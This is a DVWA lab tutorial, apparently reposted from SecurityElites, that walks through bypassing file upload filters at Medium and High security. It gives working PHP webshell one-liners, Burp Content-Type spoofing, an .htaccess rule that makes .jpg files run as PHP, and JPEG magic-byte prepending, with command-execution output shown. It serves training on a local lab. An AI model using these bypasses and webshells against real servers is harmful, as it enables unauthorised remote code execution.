📰 Originally published on SecurityElites — the canonical, fully-updated version of this article.
🧪 DVWA LAB SERIES
FREE
Part of the DVWA Lab Series — 30 Labs
Lab 18 of 30 · 60% complete
⚠️ Local Lab Only: File upload bypass techniques must only be practised against your own DVWA installation. Uploading webshells to any server without written authorisation is a criminal offence.
DVWA File Upload Advanced Lab 2026 :— Lab 6 showed you basic webshell upload at Low security where no filtering exists. Medium and High security add filters that check Content-Type, extension, and image validity. Each filter checks something specific and leaves something else unchecked. Medium trusts the browser-submitted Content-Type but does not look at the actual file. High checks the extension and magic bytes but may still allow .htaccess files that redefine how the server executes uploaded content. Lab 18 bypasses all three levels systematically — read the source, identify the gap, use the exact bypass the gap enables.
🎯 What You’ll Learn in Lab 18
Bypass Medium security via Content-Type (MIME) spoofing in Burp
Bypass High security using .htaccess upload to redefine PHP execution
Understand double extension bypass and when it applies
Use magic byte injection to pass getimagesize() validation
Execute uploaded webshells and achieve RCE on each security level
⏱️ 40 min · 3 exercises ### ✅ Prerequisites - Lab 6: File Upload basics — Low security webshell upload understood - Lab 14: Security Levels — comfortable reading PHP source - Burp Suite configured with browser proxy ### 📋 DVWA File Upload Advanced Lab 18 Contents — Upload Filter Bypass 1. Medium Security — MIME Spoofing Bypass 2. High Security — .htaccess Upload and Magic Bytes 3. Executing the Webshell After Upload In Lab 6 you uploaded a PHP webshell at Low security. Lab 18 builds directly on that — same goal (PHP execution), different obstacles. The same source code reading methodology from Lab 14 applies: check the filter logic first, identify the gap, apply the specific bypass. The DVWA Lab Series teaches technique recognition, not just exploit execution.
Medium Security — MIME Spoofing Bypass
MEDIUM SECURITY SOURCE + BYPASSCopy
View Source at Medium — the entire upload filter:
if( ( $uploaded_type == “image/jpeg” || $uploaded_type == “image/png” ) &&
( $uploaded_size < 100000 ) ) {
$uploaded_type = $_FILES[‘uploaded’][‘type’] — this is the BROWSER-SUBMITTED Content-Type
Not validated against actual file content
BYPASS: Change Content-Type header in Burp
Step 1: Create webshell
echo ‘<?php system($_GET[“cmd”]); ?>’ > shell.php
Step 2: Upload shell.php with Burp intercepting
Step 3: In Burp Proxy — intercept the upload request
Original: Content-Type: application/octet-stream
Modified: Content-Type: image/jpeg
Step 4: Forward modified request
succesfully uploaded
Response: //localhost/dvwa/hackable/uploads/shell.php
⚡ EXERCISE 1 — DVWA (12 MIN)
Bypass Medium Security via MIME Spoofing in Burp
⏱️ Time: 12 minutes · DVWA Medium · Burp Suite active
MEDIUM BYPASS — COMPLETE STEPSCopy
Step 1: Create minimal PHP webshell
echo ‘<?php if(isset($_GET[“cmd”])){ echo “
”; system($_GET[“cmd”]); echo “”; } ?>’ > /tmp/shell.php
Step 2: Open DVWA File Upload at Medium security
Step 3: Burp Suite: Proxy → Intercept ON
Step 4: Select /tmp/shell.php and click Upload
Step 5: In Burp intercepted request — find the Content-Type line
Content-Disposition: form-data; name=”uploaded”; filename=”shell.php”
Content-Type: application/octet-stream ← change this
Content-Type: image/jpeg ← to this
Step 6: Forward → request succeeds
succesfully uploaded
Step 7: Navigate to the uploaded file URL
http://localhost/dvwa/hackable/uploads/shell.php?cmd=id
uid=33(www-data) gid=33(www-data)
✅ What you just learned: The MIME spoofing bypass demonstrates that trusting browser-submitted headers for security decisions is fundamentally broken. The browser submits Content-Type as part of the multipart form data — and that value is trivially modifiable by any proxy. The server never looks at the actual bytes of the uploaded file. Professional web application assessors always test file uploads by modifying the Content-Type in Burp — it is a one-step bypass that works against any application that relies on Content-Type alone. The fix is server-side validation: use PHP’s finfo_file() or getimagesize() to validate the actual file content, not the browser-claimed Content-Type.
📸 Screenshot the Burp Content-Type modification and the webshell RCE output. Share in #dvwa-labs on Discord.
High Security — .htaccess Upload and Magic Bytes
High security adds two additional checks: getimagesize() which validates that the file has valid image dimensions (checking magic bytes), and an extension whitelist that only accepts .jpg, .jpeg, and .png. The getimagesize() check can be bypassed by prepending valid image magic bytes to the PHP webshell. The extension check can be bypassed by uploading an .htaccess file (if the server accepts it) that redefines how certain extensions are executed.
⚡ EXERCISE 2 — DVWA (15 MIN)
Bypass High Security Using .htaccess Upload
⏱️ Time: 15 minutes · DVWA High security · Burp Suite
HIGH BYPASS — .htaccess METHODCopy
Step 1: Create .htaccess that makes .jpg execute as PHP
echo ‘AddType application/x-httpd-php .jpg’ > /tmp/.htaccess
Step 2: Upload .htaccess via DVWA (with Burp)
.htaccess has no extension — High security checks file extension
Since .htaccess filename doesn’t end in a blocked extension, it may pass
Change Content-Type to image/jpeg in Burp if needed
Step 3: Create webshell with .jpg extension
echo ‘<?php system($_GET[“cmd”]); ?>’ > /tmp/shell.jpg
Step 4: Add JPEG magic bytes to pass getimagesize()
printf ‘\xff\xd8\xff’ > /tmp/magic_shell.jpg
cat /tmp/shell.jpg >> /tmp/magic_shell.jpg
File now starts with JPEG magic bytes (passes getimagesize)
AND contains PHP code (executed due to .htaccess rule)
Step 5: Upload magic_shell.jpg
High security checks: extension (.jpg ✓), getimagesize (✓ magic bytes)
Upload succeeds!
Step 6: Execute via URL (Apache executes .jpg as PHP due to .htaccess)
http://localhost/dvwa/hackable/uploads/magic_shell.jpg?cmd=id
uid=33(www-data) ← PHP executed despite .jpg extension
📖 Read the complete guide on SecurityElites
This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on SecurityElites →
This article was originally written and published by the SecurityElites team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit SecurityElites.
Top comments (0)